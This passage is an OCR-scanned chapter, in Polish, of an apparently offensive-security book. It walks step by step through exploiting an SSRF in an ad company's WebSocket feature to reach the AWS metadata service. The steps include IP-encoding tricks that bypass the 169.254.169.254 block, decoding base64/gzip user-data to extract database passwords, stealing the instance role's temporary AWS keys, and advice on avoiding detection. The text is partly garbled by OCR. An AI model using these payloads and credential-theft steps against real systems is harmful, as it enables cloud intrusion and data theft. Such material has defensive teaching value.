ze strony https://blog.teamtreehouse.com/an-introduction-to-websockets/. Fanta-
styczng cechg tego protokolu jest to, ze nie wymaga uzywanych w HTTP plikéw
cookie, dlatego nie trzeba sie martwic o brak ich obstugi. Chodzi tu o te same pliki
cookie, ktére sg uzywane do podtrzymywania sesji uwierzytelnionych uzytkownikéw!
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Dlatego gdy nastepuje przelgczenie protokotu z HTTP na WebSocket w trakcie
takiej sesji, mozliwe jest obej$cie kontroli dostepu i bezposrednie pobranie pouf-
nych zasobéw z uzyciem protokotu WebSocket zamiast HTTP. Jest to jednak inny
typ luki; zachowaj go na inny moment. Na rysunku 5.8 pokazana jest zakladka

WebSockets history.
# | URL | Direction | Edited | Length Comm
| 6 http://[demo.mxrads.com/screen + Toclient 1000223
15 http:/idemo mixrads com/screen | = To server 114
4 http://[demo.mxrads.com/screen = To server 97
3 http://[demo.mxrads.com/screen = To server 97
2 http://demo mixrads. comVscreen - Toserver a7
Message
Raw Heﬂ
https-/iwww_nytimes com/-IMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69 0:1951:1437

Rysunek 5.8. Zaktadka WebSockets history z danymi o witrynie
demo.mxrads.com

Komunikacja z uzyciem protokolu WebSocket wydaje sie prosta — kazdy komu-
nikat do serwera sklada sie z adresu URL (nytimes.com), po czym nastepujg infor-
macje o przegladarce uzytkownika (Mozilla/5.0...) i identyfikator reklamy, ktéra
nalezy wyswietli¢ (437). Burp nie pozwala powtarzac (repeat w terminologii uzy-
wanej w tym narzedziu) dawnej komunikacji z uzyciem protokotu WebSocket, dla-
tego aby zmodyfikowa¢ komunikat WebSocket, musisz go przestaé recznie z oma-
wianej witryny demonstracyjne;.

Whacz tryb przechwytywania w opcjach narzedzia Burp. Pozwoli Ci to prze-
chwyci¢ nastepny przesylany komunikat i zmodyfikowaé¢ go w locie (zobacz rysu-
nek 5.9). Sprawdz na przyklad, czy mozesz nakloni¢ witryne MRX Ads do pobra-
nia strony gléwnej kontenera Nginx, skonfigurowanego w rozdziale 3.

[l [ HTTP nistory | webSockets history [ Options |
WebSockets message to http://demo mxrads com/
| Forward || Drop J fl—rm:m Action
Raw | Hex
|hitps-/www archives jessie-package: IMozillass 0 NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Fire

Rysunek 5.9. Przechwytywanie strony internetowej w narzedziu Burp

Przekaz zmodyfikowane Zadanie i sprawdz wpisy w dzienniku w swoim kon-
tenerze Dockera. Pobierz identyfikator kontenera za pomocg instrukeji docker ps,
a nastepnie podaj ten identyfikator w poleceniu docker 1ogs:

root@Nginx:~/# docker ps
CONTAINER ID IMAGE COMMAND
5923186ffdab sparcflow/ngi... "/bin/bash /sc..."

root@Nginx:~/# docker logs 5923186ffda5
54.221.12.35 - - [26/0ct/2020:13:44:08 +0000] "GET / HTTP/1.1"...
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Aplikacja MXR Ads rzeczywiScie pobiera strony o podanym adresie URL
w czasie rzeczywistym! Moze sie zastanawiasz, co jest w tym tak wspaniatego. Coz,
nie wszystkie domeny i adresy IP sg sobie réwne. Niektére adresy IP maja spe-
cjalne przeznaczenie. Doskonalym przykladem jest blok 127.0.0.0/8, kt6ry ozna-
cza adres petli zwrotnej (samego hosta), lub 192.168.0.0/16, zarezerwowany dla sieci
prywatnych. Mniej znanym zakresem adreséw IP jest 169.254.0.0/16, ktory zostat
zarezerwowany przez grupe TETF (ang. Internet Engineering Task Force) dla adres6w
polaczen lokalnych. To oznacza, ze ten zakres jest poprawny tylko do komunika-
¢ji wewnatrz sieci i nie moze by¢ uzywany do trasowania w internecie. Na przyklad
w sytuacji, gdy komputer nie zdota uzyskac adresu IP za pomoca protokotu DHCP,
przypisuje sobie adres IP z tego zakresu. Wazniejsze jest to, ze ten zakres jest uzy-
wany przez wielu dostawcéw chmury do udostepniania prywatnych API maszy-
nom wirtualnym, aby te mogly funkcjonowa¢ w srodowisku chmury.

U prawie wszystkich dostawc6w chmury wywolanie kierowane na adres IP
169.254.169.254 jest przekierowywane przez hyperwizora i stuzy do pobierania
informacji o wewnetrznym srodowisku, na przyklad nazwy hosta maszyny, jej
wewnetrznego adresu IP, regul zapory itd. Jest to prawdziwy skarbiec informacji,
ktéry pozwala podejrze¢ wewnetrzng architekture firmy.

Moze wyprébujesz te mozliwosé? Przy wlaczonym trybie przechwytywania
w narzedziu Burp przeslij nastepny komunikat WebSocket wyswietlajacy reklame
w serwisie The New York Times, ale tym razem zastap adres URL w tresci komu-
nikatu domys$lnym adresem URL metadanych z chmury AWS, hitp.//169.254.169.254/
latest, tak jak w ponizszym kodzie:

# Zmodyfikowany komunikat WebSocket:
http://169.254.169.254:! Mozilla/5.0 (Windows NT 9.0; Win64; x64..

Czekasz na odpowiedz od serwera (pamietaj, ze uzywana jest komunikacja asyn-
chroniczna), ale ta nie przychodzi.

Firma MXR Ads nie ulatwia Ci pracy. Mozna przyjaé, ze uzyty adres URL zostat
bezposrednio zablokowany w aplikacji wlasnie z opisanego powodu. A moze apli-
kacja oczekuje podania poprawnej domeny? Zastap adres TP metadanych innym,
nieszkodliwym adresem (na przyklad Twojego kontenera z serwerem Nginx):

# Zmodyfikowany komunikat WebSocket:
http://54.14.153.41/:! Mozi11a/5.0 (Windows NT 9.0; Win64; x64...

Sprawdz dzienniki. I rzeczywiScie — aplikacja przestata zadanie:

root@Pointl:~/# docker logs 5923186ffda5
54.221.12.35 - - [26/0ct/2020:13:53:12 +0000] "GET / HTTP/1.1"...

A wiec niektére adresy IP sg dozwolone, jednak adres 169.254.169.254 jest bez-
posrednio zablokowany przez aplikacje. Pora zajrze¢ do pudta z podejrzanymi
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sztuczkami z parsowaniem taficuch6w znakéw. Cho¢ adresy IP czesto sg zapisy-
wane w formacie dziesietnym, przegladarki i klienty internetowe akceptujg takze
mniej popularne reprezentacje, choéby szesnastkows i 6semkows. Na przyktad
wszystkie ponizsze adresy [P oznaczaja to samo:

http://169.254.169.254

http://0xa9fead9fe # Reprezentacja szesnastkowa.
http://0xA9.0xFE.0xA9.0xFE # Reprezentacja szesnastkowa z kropkami.
http://025177524776 # Reprezentacja 6semkowa.

http: //D©®.@25®).0®®).2E)@) # Reprezentacjaw formacie Unicode.

Mozesz prébowaé obejsé blokade adresu IP, uzywajac zapisu szesnastkowego,
szesnastkowego z kropkami i 6semkowego.

PRZYPISYWANIE PRYWATNYCH ADRESOW IP
DO DOMEN PUBLICZNYCH

Inna technika polega na zarejestrowaniu niestandardowej nazwy domeny powig-
zanej z adresem 169.254.169.254 i uzycie tej nazwy do préby pominiecia blo-
kady. W koncu nic Ci nie broni przypisac¢ prywatnego adresu IP do publicznej
domeny. Taki adres IP zostanie wprawdzie odrzucony przez pierwszy publiczny
router, poniewaz jednak zadanie nie ma wychodzi¢ poza fizyczna karte sieciowsa,
sztuczka bedzie dziata¢ poprawnie.

W tym scenariuszu wystarczy zwykle formatowanie szesnastkowe — otrzy-
masz znane API metadanych z chmury AWS widoczne na rysunku 5.10.

# ¥ URL Direction Edited Length
12 http://demo.mxrads com/ ___ ¢ Toclient 230
" http://demo.mxrads.com/ =+ To server 107
10 hitp://demo.mxrads.com/ —* To server 11
Message
Raw | Hex
10
2007-01-19
2007-03-01
2007-08-29

Rysunek 5.10. Dane wyjsciowe dla adresu URL metadanych z AWS

Fancuchy znakéw 1.0, 2007-01-19, 2007-03-01 itd. w sekcji Raw w dolnej czesci
rysunku 5.9 oznaczaja rézne wersje punktu koficowego metadanych. Zamiast uzy-
wa¢ okreslonej daty, mozesz postuzyé sie stowem kluczowym /latest w $ciezce, aby
otrzyma¢ najnowsze dostepne dane. Te technike zastosujesz dalej.

Widoczne dane wyjsciowe oczywiscie potwierdzaja, ze w tej sytuacji mozna
zastosowaé atak SSRF (ang. server-side request forgery, czyli falszowanie zadan
po stronie serwera). Pora narobi¢ troche szkéd!
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Atak SSRF

Atak SSRF polega na naklonieniu dziatajacej po stronie serwera aplikacji do skie-
rowania zadain HTTP do wybranej przez napastnika domeny. Moze to da¢ dostep
do wewnetrznych zasob6w lub niechronionych paneli administracyjnych.

Analizowanie metadanych

Zacznij zbieranie podstawowych informacji o maszynie, na ktérej dziata aplikacja
do pobierania stron internetowych. Ponownie uzyj narzedzia Burp w trybie prze-
chwytywania. Po przechwyceniu zadania podstaw adres IP metadanych w formacie
szesnastkowym za pierwotnie zadany adres URL, a nastepnie dolacz na koficu nazwe
API metadanych z AWS, tak jak na listingu 5.1.

UWAGA Uruchom zwyktq maszyne w AWS i zapoznaj si¢ z API metadanych, aby lepiej
poznad dostepne informacje. Listg wszystkich dostgpnych pdl znajdziesz na stro-
nie https://amzn.to/2FFwvPn.

Listing 5. 1. Podstawowe informacje na temat aplikacji internetowej pobrane z APl
metadanych

# Region AWS
http://0xa9feadfe/latest/meta-data/placement/availability-zone
eu-west-1la

# ldentyfikator instancji.
http://0xa9feadfe/latest/meta-data/instance-id
1-088c8e93dd5703ccc @

# ldentyfikator obrazu AMI.
http://0xa9feadfe/latest/meta-data/ami-id
ami-02df9eal5cl778c9c @

# Publiczna nazwa hosta.
http://0xa9feadfe/latest/meta-data/public-hostname
ec2-3-248-221-147 .eu-west-1.compute.amazonaws.com ©

Na podstawie tych danych mozna stwierdzi¢, ze aplikacja demonstracyjna dziala
w regionie eu-west-1, co oznacza centra danych Amazona w Irlandii. W AWS wyste-
puja dziesigtki regionéw. Choé firmy staraja sie rozmieszczaé najwazniejsze apli-
kacje w wielu regionach, ustugi pomocnicze i czasem takze backendy czesto sg
skupione w tylko kilku obszarach. Identyfikator instancji, czyli unikatowy identyfi-
kator przypisywany kazdej maszynie wirtualnej utworzonej w ustudze EC2, to
1-088c8e93dd5703ccc @. Ta informacja moze sie okaza¢ przydatna, gdy bedziesz
wykonywaé wywotania do APT AWS skierowane do maszyny, na ktérej dziata aplikacja
reklamowa.

Identyfikator obrazu, ami-02df9eal5c1778c9c @, dotyczy migawki uzytej do
uruchomienia maszyny, na przyklad obrazu z systemem Ubuntu lub CoreOS. Obrazy
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mogg by¢ publiczne (dostepne dla wszystkich klientéw AWS) lub prywatne (dostepne
tylko dla okreslonych kont). Ten identyfikator dotyczy prywatnego obrazu AMI,
dlatego nie mozna go znalez¢ w konsoli EC2 w AWS. Gdyby ten obraz nie byt pry-
watny, mozna by utworzy¢ podobng instancje migawki, aby przetestowaé tadunki
lub skrypty.

Publiczna nazwa hosta zapewnia bezposrednia droge do maszyny, na ktérej dziata
aplikacja demonstracyjna (do instancji EC2 w terminologii AWS), pod warunkiem
ze lokalne reguly zapory umozliwiaja dostep do niej. Publiczny adres IP maszyny
mozna wydedukowaé na podstawie kanonicznej nazwy hosta — 3.248.221.147 ©.

Jesli chodzi o konfiguracje sieci, pobierz konfiguracje zapory z API metada-
nych, tak jak na listingu 5.2. Poznanie regul zapory moze daé¢ Ci wskazéwki doty-
czace innych hostéw, ktére komunikujg sie z danym systemem, i na temat dziata-
jacych w nim ustug (nawet jesli nie sa publicznie dostepne). Zarzadzanie regutami
zapory odbywa sie za pomocg obiektéw nazywanych grupami bezpieczernstwa.

Listing 5.2. Konfiguracja zapory aplikacji internetowej

# Adres MAC karty sieciowsj.
http://0xa9fea9fe/latest/meta-data/network/interfaces/macs/
06:a0:8f:8d:1c:2a

# ldentyfikator w/ascicielaw AWS
http://0xa9feadfe/.../macs/06:a0:8f:8d:1c:2a/owner-id
886371554408

# Grupy bezpieczeristwa.
http://0xa9feadfe/.../macs/06:a0:8f:8d:1c:2a/security-groups
elb_http_prod_eu-west-1

elb_https_prod_eu-west-1

common_ssh_private_eu-west-1

egress_internet_http_any

# ldentyfikator podsieci, w ktorej dzia/a dana instancja.
http://0xa9feadfe/.../macs/06:a0:8f:8d:1c:2a/subnet-id
subnet-00580e48

# Zakresadresow |P podsieci.
http://0xa9feadfe/.../macs/06:a0:8f:8d:1c:2a/subnet-ipvd-cidr-block
172.31.16.0/20

Adres MAC sieci jest potrzebny do pobrania informacji na jej temat z API metada-
nych. Konto wlasciciela w AWS stuzy do tworzenia nazw ARN (ang. Amazon
Resource Name); sa to unikatowe identyfikatory uzytkownikéw, polityk i prawie
wszystkich innych zasob6w w AWS. Tdentyfikator wlasciciela to bardzo wazna
informacja, ktéra przyda sie w p6zniejszych wywotaniach API. Nazwy ARN sa uni-
katowe dla kont, dlatego identyfikator konta firmy MXR Ads ma i bedzie miat war-
to$¢ 886371554408 we wszystkich miejscach, nawet jesli firma ma kilka kont w AWS
(co czesto sie zdarza, jak sie p6zniej przekonasz).

Mozesz wy$wietli¢ tylko nazwy grup bezpieczenstwa, a nie reguly zapory, ale
juz same nazwy niosg wystarczajaco duzo informacji, aby méc odgadnaé reguty
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zapory. Na przyklad czlon e1b w nazwie elb_http prod_eu-west-1 wskazuje na to,
ze ten zestaw regul prawdopodobnie daje réwnowaznikom obcigzenia dostep do
serwera. Ciekawa jest trzecia grupa bezpieczefistwa, common_ssh_private-eu-west-1.
Na podstawie nazwy mozna bezpiecznie zalozy¢, ze tylko kilka wybranych maszyn
(nazywanych czasem bastionami) moze sie taczy¢ za pomocg protokotu SSH z reszta
infrastruktury. Jesli w jaki$ sposéb uda Ci sie wtamaé do ktérejs z tych cennych
instancji, otworzysz sobie wiele, wiele drzwi! Ciekawe jest to, ze choé¢ nadal nie
udato Ci sie przedosta¢ do wnetrza organizacji, to masz juz wyobrazenie na temat
projektu jej infrastruktury.

Brudna tajemnica APl metadanych

Oczywiscie przed Toba jeszcze duzo pracy, dlatego warto troche zintensyfikowaé
dziatania. W rozdziale 3. byta mowa o tym, ze AWS umozliwia wykonywanie skryptu
w trakcie pierwszego rozruchu maszyny. Ten skrypt jest zwykle nazywany user-
data. Zostat uzyty do skonfigurowania infrastruktury i konteneréw Dockera. Dobra
wiadomo$¢ jest taka, ze ten sam skrypt user-data jest dostepny za pomoca API meta-
danych i mozna go uruchomic¢ przy uzyciu jednego zapytania. Jesli przeslesz za
pomoca narzedzia Burp dodatkowe zadanie do aplikacji demonstracyjnej MXR
Ads, mozesz sie przekonad, ze firma z pewnoscig uzywa tego skryptu do konfigu-
rowania wlasnych maszyn. Ilustruje to listing 5.3.

Listing 5.3. Fragment skryptu user-data wykonywany w trakcie pierwszego rozruchu
maszyny

# Informacje o skrypcie user-data.
http://0xa9feadfe/latest/user-data/

# Konfiguracja w formacie cloud-config.
coreos: @
units:
- command: start
content: |-
[Unit]
Description=Discover IPs for external services
Requires=ecr-setup.service
--pominiete--

W ten sposéb uzyskujesz mnéstwo danych, przez co robi Ci sie cieplo na sercu.
To wlasnie atak SSRF w calej okazalo$ci. Sprawdz teraz, co udalo sie uzyskac dzieki
ostatniej instrukcji.

Oprocz akceptowania zwyktych skryptéw basha pakiet cloud-init obstuguje for-
mat plikéw cloud-config, w ktérych za pomocg deklaratywnej sktadni mozna przy-
gotowad i zaplanowaé operacje rozruchu. Format cloud-config jest obstugiwany
w wielu dystrybucjach, w tym w CoreOS, ktéry najwyrazniej jest systemem ope-
racyjnym uzywanym w badanej maszynie ©.

W plikach cloud-config uzywana jest sktadnia YAML, w ktorej odstepy i symbole
nowego wiersza stuzg do rozdzielania list, wartosci itd. Plik cloud-config opisuje
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instrukcje potrzebne do konfigurowania ustug, tworzenia kont, uruchamiania instruk-
¢ji, zapisu plikéw i wykonywania innych zadan zwigzanych z rozruchem. Dla nie-
ktorych os6b ten zapis jest bardziej przejrzysty i zrozumialy niz zwykle skrypty
basha.

Przyjrzyj si¢ teraz najwazniejszym fragmentom pobranego skryptu user-data
(listing 5.4).

Listing 5.4. Ciqgg dalszy skryptu user-data

--pominiete--
- command: start
content: |
[Service] # Konfigurowanie usfugi. ©
EnvironmentFile=/etc/ecr_env.file # Zmienne srodowiskowe.
ExecStartPre=/usr/bin/docker pull ${URL}/demo-client:master &

ExecStart=/usr/bin/docker run \ ©
-v /conf_files/logger.xml:/opt/workspace/log.xml \
--net=host \
--env-file=/etc/env.file \
--env-file=/etc/java opts_env.file \

--env-file=/etc/secrets.env \ @
--name demo-client \
${URL}/demo-client:master \
--pominiete--

Najpierw plik konfiguruje ustuge wykonywang w czasie rozruchu maszyny @.
Tausluga pobiera obraz aplikacji demo-c1ient @ i uruchamia kontener przy uzyciu
dobrze opisanego polecenia docker run ©.

Zwr6¢ uwage na kilka opcji --env-file @, wymagajacych od Dockera wezy-
tania zmiennych srodowiskowych z niestandardowych plikéw tekstowych, z kt6rych
jeden ma wygodnag nazwe secrets.env! A oto oczywiste pytanie za milion ztotych —
gdzie znajduja sie te pliki?

Istnieje jaka$ niewielka szansa na to, ze sa one zapisane bezposrednio w obrazie
AMLI. Jednak w takim scenariuszu aktualizowanie plikéw konfiguracyjnych byloby dla
firmy MXR Ads niezwykle niewygodne. Aby zaktualizowaé hasto w bazie danych,
firma musiataby przygotowadé i przesta¢ nowy obraz z systemem CoreOS. Nie jest
to zbyt wydajne rozwigzanie. Dlatego bardziej prawdopodobne, ze pliki z poufnymi
danymi sg albo dynamicznie pobierane z S3, albo zapisane bezposrednio w samym
skrypcie user-data. 1 rzeczywiscie — gdy przejdziesz do dalszych czesci tego skryptu,
natrafisz na taki fragment:

--pominiete--

write files:

- content: H4sIAEjwoVOAA130zU6DQBSGAT13YXoDQ5FaTFgcZqYyBQbmrwidmcT+Y4Ed6/. ..
encoding: gziptbase64
path: /etc/secrets.env
permissions: "750"

--pominiete--
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Znakomicie. Zawarto$é tego fragmentu pamieci jest zakodowana w formacie
base64, dlatego trzeba ja odkodowaé, zdekompresowaé i zaczaé podziwiaé (zobacz
listing 5.5).

Listing 5.5. Fragment odkodowanego pliku secrets.env zawierajqcego hasta

root@Pointl:~/# echo H4sIAAA...|base64 -d |gunzip

ANALYTICS_URL_CHECKSUM_SEED = 180309210013
CASSANDRA_ADS_USERSYNC_PASS = QZ6bhOWiCprQPetIhtSv
CASSANDRA_ADS_TRACKING_PASS = 68niNNTIPAe5sDJZ4gPd
CASSANDRA_ADS_PASS = fY5KZ5ByQEKOJNg1cMM3
CASSANDRA_ADS_DELIVERYCONTROL_PASS = gQMUUHsVuuUyo003jqFU
IAS_AUTH_PASS = PjO7wnHFORBHD2ftWXjm

ADS_DB_PASSWORD = !uqQ#:9#3Rd_cM]

To byl strzal w dziesigtke! Ten fragment pamieci zapewnil Ci dtugg liste haset
dostepu do klastra Cassandry (Cassandra to wysoce odporna baza typu NoSQL,
zwykle instalowana w celu obstugi duzych zbioréw danych z minimalnym opé6znie-
niem). Udalo sie tez uzyskaé dwa tajemnicze hasla, ktére sa niezwykle obiecujace.
Oczywiscie same hasta to za mato. Potrzebujesz réwniez danych o powigzanych
hostach i nazw uzytkownikéw, jednak te same informacje sg potrzebne takze apli-
kacji, dlatego mozna zalozyé, ze drugi plik z danymi srodowiskowymi z listingu 5.4,
env.file, powinien zawiera¢ wszystkie brakujace elementy.

Jednak gdy przejdziesz do dalszych cze$ci skryptu user-data, nie natrafisz na defi-
nicje pliku env.file. Zamiast tego znajdziesz skrypt powloki, get-region-params.sh,
ktory, jak sie zdaje, resetuje cenny plik env.file (listing 5.6).

Listing 5.6. Ustuga wyszukiwania, ktéra zdaje sie komunikowac z plikiem env.file

--pominiete--
- command: start
content: |-

[Unit]
Description=Discover IPs for external services
[Service]
Type=oneshot
ExecStartPre=/usr/bin/rm -f /etc/env.file
ExecStart=/conf_files/get-region-params.sh
name: define-region-params.service

--pominiete--

Mozliwe jest, ze ten skrypt tworzy plik env.file. Przyjrzyj sie zawartosci skryptu
get-region-params.sh, tworzonego trzy wiersze nizej (listing 5.7).
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Listing 5.7. Wiersze odpowiadajqce za tworzenie pliku get-region-params.sh
w skrypcie user-data

--pominiete--
write files:
- content: H4sIAAAAAAAC/7yabW/aShbH3/ ©
tTTFmuOmjX0Im61X0j98qAQ6wWSGI10peyDrME+. ..
encoding: gziptbase64
path: /conf_files/define-region-params.sh

Masz tu nastepny zakodowany fragment pamieci @. Przy uzyciu sztuczek z uzy-
ciem base64 i gunzip mozesz przeksztalcié te sterte Smieci w zwykty skrypt basha
definiujacy rézne punkty konicowe, nazwy uzytkownikéw i inne parametry zalezne
od regionu, w ktérym dziata dana maszyna (listing 5.8). Pomijam tu wiele gatezi
z instrukcji warunkowych i polecen case switch; pokazane sa wylacznie istotne frag-
menty kodu.

Listing 5.8. Fragment odkodowanego skryptu get-region-params.sh
root@Pointl:~/# echo H4sIAAA...|base64 -d |gunzip

AZ=$(curl -s http://169.254.169.254/1atest/meta-data/placement/availability-zone)
REGION=${AZ%?}

case $REGION in

ap-southeast-1...

eu-west-1
echo "S3BUCKET=mxrads-d1" >> /etc/env.file ©
echo "S3MISC=mxrads-misc" >> /etc/env.file @
echo "REDIS_GEO_HOST=redis-geolocation.production.euwl.mxrads.tech" >> /etc/env.file
echo "CASSA_DC=eu-west-delivery" >> /etc/env.file
echo "CASSA_USER_SYNC=usersync-euwl" >> /etc/env.file
echo "CASSA_USER_DLVRY=userdc-euwl" >> /etc/env.file

--pominiete--
cassandra_delivery host="cassandra-delivery.prod.${SHORT REGION}.mxrads.tech"
--pominiete--

Zwr6é uwage na komory z S3, mxrads-dl @ i mxrads-misc @, ktére byto widaé
juz wezesniej w trakcie rekonesansu.

Po przyjrzeniu sie temu skryptowi okazuje sie, ze instancja uzywa API meta-
danych do pobrania regionu, w ktérym dziala, oraz wygenerowania na podstawie
tych informacji punktéw konicowych i nazw uzytkownikéw. Jest to pierwszy krok,
jaki firma robi, aby zapewnié¢ sobie niezawodno$¢ infrastruktury: pakuje aplikacje,
nie — $rodowisko, ktére moze dziata¢ z dowolnym hyperwizorem, w dowolnym
centrum danych i w dowolnym kraju. To z pewnos$cig warto$ciowa technika, jed-
nak z pewnym zastrzezeniem — juz wiesz, ze prosta luka SSRF pozwala uzyskaé¢
dostep do wszystkich tajnikéw aplikacji kazdemu, kto zechce ja sprawdzié.
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UWAGA W AWS w grudniu 2019 roku udostgpniono drugg wersje API metadanych. Wymaga
ona, aby w pierwszym zqdaniu PUT pobrany zostal token sesji. W tej wersji zapy-
tania do API wymagajq przedstawienia poprawnego tokena. To ograniczenie sku-
tecznie blokuje ataki SSRF i podobne. Mogloby si¢ wydawad, Ze wprowadzenie tej
wersji API byto dobrym planem, ale wiedy Amazon wszystko zepsul nastepujgcq
deklaracjq: ., Istniejqce ustugi metadanych instancji IMDSvl) sq w petni bezpieczne
i AWS nadal bedzie je obstugiwac™. Tak, juz widze, jak firmy bedq inwestowad
w modyfikacje calego procesu wdrazania, aby zastgpic cos, co juz jest bezpieczne.
Wyglgda wiec na to, ze ataki SSRF nadal majq przyszlosé.

Gdy potgczysz ten plik z hastami uzyskanymi w listingu 5.5 i przyjmiesz sen-
sowne zalozenia na podstawie nazw zmiennych, odtworzysz takie dane uwierzy-
telniajgce:

cassandra-delivery.prod.euwl.mxrads.tech

Nazwa uzytkownika: userdc-euwl

Hasto: gQMUUHsVuuUyo0003jqFU
cassandra-usersync.prod.euwl.mxrads.tech

Nazwa uzytkownika: usersync-euwl

Hasto: QZ6bhOWiCprQPetIhtSv

Dla niektérych maszyn brakuje nazwy uzytkownika, a dla cze$ci nazw hostéw
brakuje hasel, ale z czasem ustalisz pozostale dane. Na razie to wszystko, co mozna
uzyskaé.

Po zdobyciu tych informacji jedyng rzecza, ktéra uniemozliwia dostep do baz
danych, sa proste, nudne reguty zapory. Punkty koficowe sa powigzane z wewnetrz-
nymi adresami IP, niedostepnymi z ciemnych zakatkéw internetu, gdzie dziata
Twoéj serwer uzywany do ataku. Dlatego jesli nie znajdziesz sposobu na zmiane
regul zapory lub ich obejscie, utkniesz ze stosem bezuzytecznych danych uwierzy-
telniajacych.

Coz, nie jest to do konica prawda. Jest jeden zestaw danych uwierzytelniaja-
cych, ktérych jeszceze nie udato Ci sie zdobyé. W odréznieniu od wezesniejszych
danych nie podlega on zwykle ograniczeniom zwigzanym z adresem IP. Chodzi
tu o role TAM maszyny.

U wiekszosci dostaweéw chmury mozesz przypisa¢ do maszyny role, czyli zestaw
domyslnych danych uwierzytelniajacych. Pozwala to maszynie uwierzytelniaé sie
przed dostawca chmury i dziedziczy¢ wszystkie uprawnienia przypisane do danej
roli. Aplikacja lub skrypt na tej maszynie moze wykorzystaé te role, co pomaga uniknaé
niezdrowego nawyku zapisywania poufnych danych w kodzie. Wydaje sie, ze to
idealne rozwigzanie, jednak takze tym razem jest ono takie tylko w teorii.

W praktyce, gdy maszyna EC2 (a doktadniej — profil instancji) wykorzystuje
role IAM, pobiera zestaw tymczasowych danych uwierzytelniajacych, ktére repre-
zentujg uprawnienia przypisane do tej roli. Te dane uwierzytelniajace sa udostep-
niane maszynie — tak, zgadza sie — za pomoca API metadanych.
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Wywolaj punkt koncowy /latest/meta-datafiam/security-credentials, aby pobra¢
nazwe roli:

http://0xa9feadfe/latest/meta-data/iam/security-credentials
demo-role.ec2

Wida¢ tu, ze maszynie przypisano role demo-role.ec2. Pobierz jej tymczasowe
dane uwierzytelniajace — w tym celu skieruj wywotanie do API metadanych:

# Dane uwierzytelniajgce.
http://0xa9fea9fe/latest/meta-data/iam/security-credentials/demo-role.ec2

{
Code : Success,
LastUpdated : 2020-10-26T11:33:39Z,
Type : AWS-HMAC,
AccessKeyId : ASIA44ZRK6WS4HX6YCC7,
SecretAccessKey : nMylmmbmhHcOnXw2eZ3oh6nh/w2StPw8dI5Mah2b,
Token : AgoJb3JpZ2T1uX2VJEFQ...
Expiration : 2020-10-26T17:53:41Z @

Dostepne sg tu pola AccessKeyld i SecretAccessKey, ktére razem tworza klasyczne
dane uwierzytelniajagce API w AWS. Widoczny jest tez token, ktéry potwierdza
poprawno$¢ tego zestawu tymczasowych danych uwierzytelniajacych.

Teoretycznie mozesz wezytaé te klucze do dowolnego klienta ustug AWS i komu-
nikowa¢ sie z kontem MXR Ads z dowolnego adresu IP na $wiecie, uzywajac toz-
samosci badanej maszyny, demo-role.ec2. Jesli ta rola daje maszynie dostep do komér
w S3, Ty tez mozesz ich uzywac. Jezeli maszyna moze zamykaé instancje, to samo
mozesz i Ty. Mozesz przejmowaé tozsamo$¢ i uprawnienia instancji przez kolej-
nych 6 godzin, czyli do momentu zresetowania danych uwierzytelniajacych @.

Po uplynieciu tego czasu mozesz ponownie pobrac¢ nowy zestaw poprawnych
danych uwierzytelniajacych. Teraz juz rozumiesz, dlaczego atak SSRF jest moim
nowym najlepszym przyjacielem. Ponizej pokazuje, jak zarejestrowaé dane uwie-
rzytelniajgce z AWS w katalogu gléwnym z nazwg profilu demo:

# Na Twojel maszynie uzywanej do ataku.

root@Pointl:~/# vi ~/.aws/credentials

[demo]

aws_access_key id = ASIA44ZRK6WSX2BRFIXC
aws_secret_access_key = +ACjXR87naNXyKKJWmW/5r/+B/+J5PrsmBZ
aws_session_token = AgoJb3Jpz21...

Wyglada na to, ze masz dobrg passe! Niestety, gdy zaczynasz zaciskaé petle
wokoét celu, AWS stawia przed Toba nastepng przeszkode — IAM.
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UWAGA Mozesz wykorzystaé uzyskane dane uwwierzytelniajgce z AWS, dodajgc opcje
--profile demo do standardowych instrukcji interfejsu CLI dla AWS lub usta-
wiajqc zmienng globalng AWS_PROFILE=demo.

Ustuda AWS IAM

AWS TAM to usluga uwierzytelniania i autoryzacji, ktéra czasem powoduje powazne
klopoty. Domyslnie uzytkownicy i role nie maja prawie zadnych uprawnien. Nie
mogg nawet podejrze¢ wlasnych informacji, takich jak nazwa uzytkownika lub iden-
tyfikator klucza dostepu, poniewaz takze takie proste wywolania API wymagaja
bezposrednio przyznanych uprawnien.

UWAGA Pordwnaj ustuge AWS IAM ze srodowiskiem Active Directory (AD), w ktory uzyt-
kownicy domyslnie mogq nie tylko uzyskac wszystkie informacje o koncie i spraw-
dzié przynaleznosc do grup, ale tez wezytac skroty hasel przypisane do kont ustugi.
Zapoznaj sie z technikq AD Kerberoasting opisang na stronie http://bit.ly/2tQDQ]Jm.

Standardowi uzytkownicy ustug IAM, jak programisci, maja oczywiscie pod-
stawowe uprawnienia do inspekcji wlasnego konta, dlatego moga na przyklad
wyS$wietlié liste grup, do ktérych naleza. Jednak profil instancji przypisany do
maszyny nie ma takich uprawnien. Gdy sprébujesz pobra¢ podstawowe informa-
cje na temat roli demo-role-ec2, zobaczysz zaskakujacy bad:

# Na Twojel maszynie uzywanej do ataku.
root@Pointl:~/# aws iam get-role \
--role-name demo-role-ec2 \
--profile demo

An error occurred (AccessDenied) when calling the GetRole operation: User:
arn:aws:sts::886371554408:assumed-role/demo-role.ec2/i-088c8e93dd5703ccc
is not authorized to perform: iam:GetRole on resource: role demo-role-ec2

Aplikacja w trakcie dzialania zwykle nie sprawdza, jaki ma zestaw uprawniei.
Wykonuje jedynie wywotania API zgodne z kodem i dziala w odpowiedni sposéb.
To oznacza, ze masz poprawne dane uwierzytelniajace z AWS, ale na razie zupel-
nie nie wiesz, jak je wykorzystac.

Musisz przeprowadzi¢ analizy. Prawie kazda ustuga AWS ma wywoltanie API
stuzace do wy$wietlania listy wszystkich zasobéw (describe-instances w EC2,
Tist-buckets w S3 itd.). Mozesz wiec powoli zaczaé bada¢ popularne ustugi, aby
ustali¢, co da sie zrobi¢ za pomoca uzyskanych danych uwierzytelniajacych, a takze
przygotowac sie do sprawdzenia wszystkich z niezliczonych ustug z AWS.

Jedna opcja jest p6jsé na catosé i sprawdzaé kazde mozliwe wywolanie API
w AWS (sa ich tysigce) do czasu natrafienia na autoryzowane zapytanie. Jedna
lawina bledéw, jaka wywolasz w tym procesie, spowoduje wyjscie ze stanu hiber-
nacji kazdego zespolu do spraw bezpieczenstwa. Domyslnie wickszo$é wywolan
API w AWS jest rejestrowana, dlatego firma moze tatwo skonfigurowaé alerty Sle-
dzace liczbe nieautoryzowanych wywotan. W konicu dlaczego miataby tego nie
